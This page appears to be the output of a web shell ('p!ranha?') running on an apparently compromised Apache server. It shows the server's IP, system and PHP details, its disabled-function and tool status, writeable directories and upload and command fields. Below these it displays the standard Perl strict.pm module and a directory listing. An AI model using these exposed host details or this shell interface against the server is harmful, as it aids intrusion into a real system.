p!ranha?
Server IP : 103.169.32.36  /  Your IP : 216.73.217.13
Web Server : Apache
System : Linux web.dpmptsp 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/perl5/

Upload File :
Curr3nt_D!r [ Writeable ] D0cum3nt_r0Ot [ Writeable ]

 
Command :
Current File : /usr/share/perl5//strict.pm
package strict;

$strict::VERSION = "1.07";

# Verify that we're called correctly so that strictures will work.
unless ( __FILE__ =~ /(^|[\/\\])\Q${\__PACKAGE__}\E\.pmc?$/ ) {
    # Can't use Carp, since Carp uses us!
    my (undef, $f, $l) = caller;
    die("Incorrect use of pragma '${\__PACKAGE__}' at $f line $l.\n");
}

my %bitmask = (
refs => 0x00000002,
subs => 0x00000200,
vars => 0x00000400
);
my %explicit_bitmask = (
refs => 0x00000020,
subs => 0x00000040,
vars => 0x00000080
);

sub bits {
    my $bits = 0;
    my @wrong;
    foreach my $s (@_) {
	if (exists $bitmask{$s}) {
	    $^H |= $explicit_bitmask{$s};
	}
	else { push @wrong, $s };
        $bits |= $bitmask{$s} || 0;
    }
    if (@wrong) {
        require Carp;
        Carp::croak("Unknown 'strict' tag(s) '@wrong'");
    }
    $bits;
}

my @default_bits = qw(refs subs vars);

sub import {
    shift;
    $^H |= bits(@_ ? @_ : @default_bits);
}

sub unimport {
    shift;
    $^H &= ~ bits(@_ ? @_ : @default_bits);
}

1;
__END__

=head1 NAME

strict - Perl pragma to restrict unsafe constructs

=head1 SYNOPSIS

    use strict;

    use strict "vars";
    use strict "refs";
    use strict "subs";

    use strict;
    no strict "vars";

=head1 DESCRIPTION

If no import list is supplied, all possible restrictions are assumed.
(This is the safest mode to operate in, but is sometimes too strict for
casual programming.)  Currently, there are three possible things to be
strict about:  "subs", "vars", and "refs".

=over 6

=item C<strict refs>

This generates a runtime error if you 
use symbolic references (see L<perlref>).

    use strict 'refs';
    $ref = \$foo;
    print $$ref;	# ok
    $ref = "foo";
    print $$ref;	# runtime error; normally ok
    $file = "STDOUT";
    print $file "Hi!";	# error; note: no comma after $file

There is one exception to this rule:

    $bar = \&{'foo'};
    &$bar;

is allowed so that C<goto &$AUTOLOAD> would not break under stricture.


=item C<strict vars>

This generates a compile-time error if you access a variable that was
neither explicitly declared (using any of C<my>, C<our>, C<state>, or C<use
vars>) nor fully qualified.  (Because this is to avoid variable suicide
problems and subtle dynamic scoping issues, a merely C<local> variable isn't
good enough.)  See L<perlfunc/my>, L<perlfunc/our>, L<perlfunc/state>,
L<perlfunc/local>, and L<vars>.

    use strict 'vars';
    $X::foo = 1;	 # ok, fully qualified
    my $foo = 10;	 # ok, my() var
    local $baz = 9;	 # blows up, $baz not declared before

    package Cinna;
    our $bar;			# Declares $bar in current package
    $bar = 'HgS';		# ok, global declared via pragma

The local() generated a compile-time error because you just touched a global
name without fully qualifying it.

Because of their special use by sort(), the variables $a and $b are
exempted from this check.

=item C<strict subs>

This disables the poetry optimization, generating a compile-time error if
you try to use a bareword identifier that's not a subroutine, unless it
is a simple identifier (no colons) and that it appears in curly braces or
on the left hand side of the C<< => >> symbol.

    use strict 'subs';
    $SIG{PIPE} = Plumber;   	# blows up
    $SIG{PIPE} = "Plumber"; 	# just fine: quoted string is always ok
    $SIG{PIPE} = \&Plumber; 	# preferred form

=back

See L<perlmodlib/Pragmatic Modules>.

=head1 HISTORY

C<strict 'subs'>, with Perl 5.6.1, erroneously permitted to use an unquoted
compound identifier (e.g. C<Foo::Bar>) as a hash key (before C<< => >> or
inside curlies), but without forcing it always to a literal string.

Starting with Perl 5.8.1 strict is strict about its restrictions:
if unknown restrictions are used, the strict pragma will abort with

    Unknown 'strict' tag(s) '...'

As of version 1.04 (Perl 5.10), strict verifies that it is used as
"strict" to avoid the dreaded Strict trap on case insensitive file
systems.

=cut
N4m3
5!z3
L45t M0d!f!3d
0wn3r / Gr0up
P3Rm!55!0n5
0pt!0n5
..
--
September 29 2025 07:00:09
0 / 0
0755
App
--
February 02 2021 16:32:27
0 / 0
0755
Archive
--
February 02 2021 16:32:27
0 / 0
0755
Attribute
--
January 19 2024 08:12:46
0 / 0
0755
B
--
January 19 2024 08:12:46
0 / 0
0755
Class
--
January 19 2024 08:12:46
0 / 0
0755
Compress
--
February 02 2021 16:32:27
0 / 0
0755
Config
--
January 19 2024 08:12:46
0 / 0
0755
DBM_Filter
--
January 19 2024 08:12:46
0 / 0
0755
Devel
--
January 19 2024 08:12:46
0 / 0
0755
Encode
--
January 19 2024 08:12:46
0 / 0
0755
ExtUtils
--
January 19 2024 08:12:46
0 / 0
0755
File
--
January 19 2024 08:12:46
0 / 0
0755
Filter
--
January 19 2024 08:12:46
0 / 0
0755
Getopt
--
January 19 2024 08:12:46
0 / 0
0755
HTTP
--
February 02 2021 16:32:27
0 / 0
0755
I18N
--
January 19 2024 08:12:46
0 / 0
0755
IO
--
January 19 2024 08:12:46
0 / 0
0755
IPC
--
January 19 2024 08:12:46
0 / 0
0755
JSON
--
February 02 2021 16:32:27
0 / 0
0755
Locale
--
February 02 2021 16:32:27
0 / 0
0755
Log
--
January 19 2024 08:12:46
0 / 0
0755
Math
--
January 19 2024 08:12:46
0 / 0
0755
Memoize
--
January 19 2024 08:12:46
0 / 0
0755
Module
--
January 19 2024 08:12:46
0 / 0
0755
Net
--
January 19 2024 08:12:46
0 / 0
0755
Perl
--
February 02 2021 16:32:27
0 / 0
0755
PerlIO
--
January 19 2024 08:12:46
0 / 0
0755
Pod
--
January 19 2024 08:12:46
0 / 0
0755
Search
--
January 19 2024 08:12:46
0 / 0
0755
Term
--
January 19 2024 08:12:46
0 / 0
0755
Test
--
February 02 2021 16:32:27
0 / 0
0755
Text
--
January 19 2024 08:12:46
0 / 0
0755
Thread
--
January 19 2024 08:12:46
0 / 0
0755
Tie
--
January 19 2024 08:12:46
0 / 0
0755
Time
--
January 19 2024 08:12:46
0 / 0
0755
Unicode
--
January 19 2024 08:12:46
0 / 0
0755
User
--
January 19 2024 08:12:46
0 / 0
0755
Version
--
February 02 2021 16:32:27
0 / 0
0755
encoding
--
January 19 2024 08:12:46
0 / 0
0755
overload
--
January 19 2024 08:12:46
0 / 0
0755
pod
--
January 19 2024 08:12:46
0 / 0
0755
unicore
--
January 19 2024 08:12:46
0 / 0
0755
vendor_perl
--
February 02 2021 16:33:01
0 / 0
0755
warnings
--
January 19 2024 08:12:46
0 / 0
0755
AnyDBM_File.pm
2.557 KB
February 02 2021 16:32:27
0 / 0
0644
AutoLoader.pm
14.657 KB
February 02 2021 16:32:27
0 / 0
0644
AutoSplit.pm
19.177 KB
February 02 2021 16:32:27
0 / 0
0644
Benchmark.pm
27.867 KB
February 02 2021 16:32:27
0 / 0
0644
CORE.pod
2.7 KB
February 02 2021 16:32:27
0 / 0
0644
DB.pm
18.431 KB
February 02 2021 16:32:27
0 / 0
0644
DBM_Filter.pm
14.058 KB
February 02 2021 16:32:27
0 / 0
0644
DirHandle.pm
1.52 KB
February 02 2021 16:32:27
0 / 0
0644
Dumpvalue.pm
16.502 KB
February 02 2021 16:32:27
0 / 0
0644
English.pm
4.34 KB
February 02 2021 16:32:27
0 / 0
0644
FileCache.pm
5.439 KB
February 02 2021 16:32:27
0 / 0
0644
FileHandle.pm
6.619 KB
February 02 2021 16:32:27
0 / 0
0644
FindBin.pm
4.454 KB
February 02 2021 16:32:27
0 / 0
0644
Memoize.pm
34.396 KB
February 02 2021 16:32:27
0 / 0
0644
NEXT.pm
18.048 KB
February 02 2021 16:32:27
0 / 0
0644
PerlIO.pm
10.192 KB
February 02 2021 16:32:27
0 / 0
0644
Safe.pm
24.029 KB
February 02 2021 16:32:27
0 / 0
0644
SelectSaver.pm
1.051 KB
February 02 2021 16:32:27
0 / 0
0644
SelfLoader.pm
16.97 KB
February 02 2021 16:32:27
0 / 0
0644
Symbol.pm
4.682 KB
February 02 2021 16:32:27
0 / 0
0644
Test.pm
28.125 KB
February 02 2021 16:32:27
0 / 0
0644
Thread.pm
8.091 KB
February 02 2021 16:32:27
0 / 0
0644
UNIVERSAL.pm
6.967 KB
February 02 2021 16:32:27
0 / 0
0644
XSLoader.pm
9.993 KB
February 02 2021 16:32:27
0 / 0
0644
_charnames.pm
29.799 KB
February 02 2021 16:32:27
0 / 0
0644
autouse.pm
4.139 KB
February 02 2021 16:32:27
0 / 0
0644
base.pm
6.374 KB
February 02 2021 16:32:27
0 / 0
0644
bigint.pm
17.443 KB
February 02 2021 16:32:27
0 / 0
0644
bignum.pm
18.229 KB
February 02 2021 16:32:27
0 / 0
0644
bigrat.pm
14.105 KB
February 02 2021 16:32:27
0 / 0
0644
blib.pm
2.037 KB
February 02 2021 16:32:27
0 / 0
0644
bytes.pm
2.962 KB
February 02 2021 16:32:27
0 / 0
0644
bytes_heavy.pl
0.74 KB
February 02 2021 16:32:27
0 / 0
0644
charnames.pm
19.222 KB
February 02 2021 16:32:27
0 / 0
0644
deprecate.pm
3.006 KB
February 02 2021 16:32:27
0 / 0
0644
diagnostics.pm
17.956 KB
February 02 2021 16:32:27
0 / 0
0644
dumpvar.pl
14.962 KB
February 02 2021 16:32:27
0 / 0
0644
feature.pm
11.056 KB
February 02 2021 16:32:27
0 / 0
0644
fields.pm
9.276 KB
February 02 2021 16:32:27
0 / 0
0644
filetest.pm
3.909 KB
February 02 2021 16:32:27
0 / 0
0644
if.pm
1.131 KB
February 02 2021 16:32:27
0 / 0
0644
integer.pm
3.189 KB
February 02 2021 16:32:27
0 / 0
0644
less.pm
3.129 KB
February 02 2021 16:32:27
0 / 0
0644
locale.pm
2.717 KB
February 02 2021 16:32:27
0 / 0
0644
open.pm
7.828 KB
February 02 2021 16:32:27
0 / 0
0644
overload.pm
52.662 KB
February 02 2021 16:32:27
0 / 0
0644
overloading.pm
1.766 KB
February 02 2021 16:32:27
0 / 0
0644
perl5db.pl
302.786 KB
February 02 2021 16:32:27
0 / 0
0644
perlfaq.pm
0.092 KB
February 02 2021 16:32:27
0 / 0
0644
sigtrap.pm
7.464 KB
February 02 2021 16:32:27
0 / 0
0644
sort.pm
5.95 KB
February 02 2021 16:32:27
0 / 0
0644
strict.pm
3.841 KB
February 02 2021 16:32:27
0 / 0
0644
subs.pm
0.825 KB
February 02 2021 16:32:27
0 / 0
0644
utf8.pm
7.599 KB
February 02 2021 16:32:27
0 / 0
0644
utf8_heavy.pl
30.098 KB
February 02 2021 16:32:27
0 / 0
0644
vars.pm
2.303 KB
February 02 2021 16:32:27
0 / 0
0644
vmsish.pm
4.221 KB
February 02 2021 16:32:27
0 / 0
0644
warnings.pm
18.336 KB
February 02 2021 16:32:27
0 / 0
0644